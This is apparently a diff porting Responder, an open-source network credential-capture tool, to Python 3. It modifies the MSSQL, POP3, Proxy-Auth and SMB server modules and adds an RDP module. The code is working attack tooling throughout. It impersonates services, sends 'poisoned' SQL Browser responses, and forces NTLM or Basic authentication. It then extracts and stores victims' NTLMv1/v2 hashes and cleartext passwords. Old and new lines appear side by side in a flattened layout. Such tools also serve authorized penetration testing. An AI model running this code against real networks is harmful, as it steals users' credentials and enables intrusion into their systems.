self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client, Challenge): def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:] SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0] LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0] LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[30:32])[0] NthashLen = struct.unpack('<H',data[30:32])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0] NthashOffset = struct.unpack('<H',data[32:34])[0]
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]
NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',data[36:38])[0] DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0] DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','') Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[44:46])[0] UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0] UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
if NthashLen == 24: if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@@ -84,7 +88,7 @@ def ParseSQLHash(data, client, Challenge):
}) })
if NthashLen > 60: if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@@ -98,10 +102,10 @@ def ParseSQLHash(data, client, Challenge):
def ParseSqlClearTxtPwd(Pwd): def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5','')) Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = '' Pw = b''
for x in Pwd: for x in Pwd:
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex')
return Pw return Pw.decode('latin-1')
def ParseClearTextSQLPass(data, client): def ParseClearTextSQLPass(data, client):
@@ -119,33 +123,64 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class # MSSQL Server class
class MSSQL(BaseRequestHandler): class MSSQL(BaseRequestHandler):
def handle(self): def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try: try:
self.ntry = 0
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(0.1) self.request.settimeout(1)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message if not data:
break
if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0] == "\x10": # NegoSSP if data[0] == b"\x10" or data[0] == 16: # NegoSSP
if re.search("NTLMSSP",data): if re.search(b'NTLMSSP',data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Packet.calculate() Packet.calculate()
Buffer = str(Packet) Buffer = str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
else: else:
ParseClearTextSQLPass(data,self.client_address[0]) ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth
ParseSQLHash(data,self.client_address[0]) ParseSQLHash(data,self.client_address[0],Challenge)
except: except:
self.request.close() pass
pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]))
data, soc = self.request
if data:
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]))
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + NetworkSendBufferPython2or3(resp), self.client_address)
def send_dac_response(self, soc):
print(text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]))
soc.sendto(NetworkSendBufferPython2or3(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433)), self.client_address)

View File

@@ -15,25 +15,33 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from SocketServer import BaseRequestHandler if settings.Config.PY2OR3 is "PY3":
from packets import POPOKPacket from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import POPOKPacket,POPNotOKPacket
# POP3 Server class # POP3 Server class
class POP3(BaseRequestHandler): class POP3(BaseRequestHandler):
def SendPacketAndRead(self): def SendPacketAndRead(self):
Packet = POPOKPacket() Packet = POPOKPacket()
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
return self.request.recv(1024) return self.request.recv(1024)
def handle(self): def handle(self):
try: try:
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == b'CAPA':
if data[0:4] == "USER": self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
User = data[5:].replace("\r\n","") data = self.request.recv(1024)
if data[0:4] == b'AUTH':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
data = self.request.recv(1024)
if data[0:4] == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1")
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == "PASS": if data[0:4] == b'PASS':
Pass = data[5:].replace("\r\n","") Pass = data[5:].strip(b"\r\n").decode("latin-1")
SaveToDb({ SaveToDb({
'module': 'POP3', 'module': 'POP3',

View File

@@ -14,15 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import SocketServer
from HTTP import ParseHTTPHash
from packets import *
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from servers.HTTP import ParseHTTPHash
from packets import *
def GrabUserAgent(data): def GrabUserAgent(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent: if UserAgent:
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)))
def GrabCookie(data): def GrabCookie(data):
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
@@ -30,8 +33,8 @@ def GrabCookie(data):
if Cookie: if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1: if len(Cookie) > 1:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)))
return Cookie return Cookie
return False return False
@@ -41,47 +44,46 @@ def GrabHost(data):
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2)))
return Host return Host
return False return False
def PacketSequence(data, client): def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01": if Packet_NTLM == b'\x01':
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate(str(Buffer)) return Buffer_Ans
return str(Buffer_Ans)
if Packet_NTLM == "\x03": if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth") ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
return False #Send a RST with SO_LINGER when close() is called (see Responder.py) return False
else: else:
return False return False
elif Basic_Auth: elif Basic_Auth:
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'Proxy-Auth', 'module': 'Proxy-Auth',
'type': 'Basic', 'type': 'Basic',
'client': client, 'client': client,
'user': ClearText_Auth.split(':')[0], 'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.split(':')[1], 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
}) })
return False return False
@@ -89,23 +91,51 @@ def PacketSequence(data, client):
if settings.Config.Basic: if settings.Config.Basic:
Response = WPAD_Basic_407_Ans() Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
else: else:
Response = WPAD_Auth_407_Ans() Response = WPAD_Auth_407_Ans()
return str(Response) return str(Response)
class Proxy_Auth(SocketServer.BaseRequestHandler): class Proxy_Auth(BaseRequestHandler):
def handle(self):
def handle(self):
try: try:
for x in range(2): Challenge = RandomChallenge()
data = self.request.recv(4096) while True:
self.request.send(PacketSequence(data, self.client_address[0])) self.request.settimeout(3)
remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except: except:
pass pass

142
servers/RDP.py Normal file
View File

@@ -0,0 +1,142 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'RDP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'RDP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def FindNTLMNegoStep(data):
NTLMStart = data.find(b'NTLMSSP')
NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12]
if NTLMStep == b'\x01\x00\x00\x00':
return NTLMStep
if NTLMStep == b'\x03\x00\x00\x00':
return NTLMStep
else:
return False
class RDP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(30)
Challenge = RandomChallenge()
if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate()
SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == b'\x03\x00\x00\x00':
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate()
SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge)
else:
return False
except:
pass

View File

@@ -14,12 +14,15 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct, re
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from random import randrange from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
from SocketServer import BaseRequestHandler
from utils import *
import struct
import re
def Is_Anonymous(data): # Detect if SMB auth was Anonymous def Is_Anonymous(data): # Detect if SMB auth was Anonymous
@@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data):
if Dialect[i] == 'NT LM 0.12': if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00' return chr(i) + '\x00'
def midcalc(data): #Set MID SMB Header field. def midcalc(data): #Set MID SMB Header field.
return data[34:36] return data[34:36]
def uidcalc(data): #Set UID SMB Header field. def uidcalc(data): #Set UID SMB Header field.
return data[32:34] return data[32:34]
def pidcalc(data): #Set PID SMB Header field. def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32] pack=data[30:32]
return pack return pack
def tidcalc(data): #Set TID SMB Header field. def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30] pack=data[28:30]
return pack return pack
def ParseShare(data): def ParseShare(data):
packet = data[:] packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a: if a:
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')))
def GrabMessageID(data): def GrabMessageID(data):
Messageid = data[28:36] Messageid = data[28:36]
@@ -74,8 +72,8 @@ def GrabMessageID(data):
def GrabCreditRequested(data): def GrabCreditRequested(data):
CreditsRequested = data[18:20] CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00": if CreditsRequested == b'\x00\x00':
CreditsRequested = "\x01\x00" CreditsRequested = b'\x01\x00'
else: else:
CreditsRequested = data[18:20] CreditsRequested = data[18:20]
return CreditsRequested return CreditsRequested
@@ -89,23 +87,25 @@ def GrabSessionID(data):
return SessionID return SessionID
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0] LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0] NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0] NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24: if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -117,14 +117,15 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
}) })
if NthashLen > 60: if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -135,43 +136,17 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2 def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]) Username, Domain = tuple([e.decode('latin-1') for e in data[89+NthashLen:Bcc+60].split(b'\x00\x00\x00')[:2]])
if NthashLen > 25: if NthashLen > 25:
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex')
LmHash = FullHash[:32].upper() LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper() NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@@ -183,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
}) })
if NthashLen == 24: if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper() LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
'type': 'NTLMv1', 'type': 'NTLMv1',
@@ -210,7 +184,7 @@ def IsNT4ClearTxt(data, client):
if PassLen > 2: if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
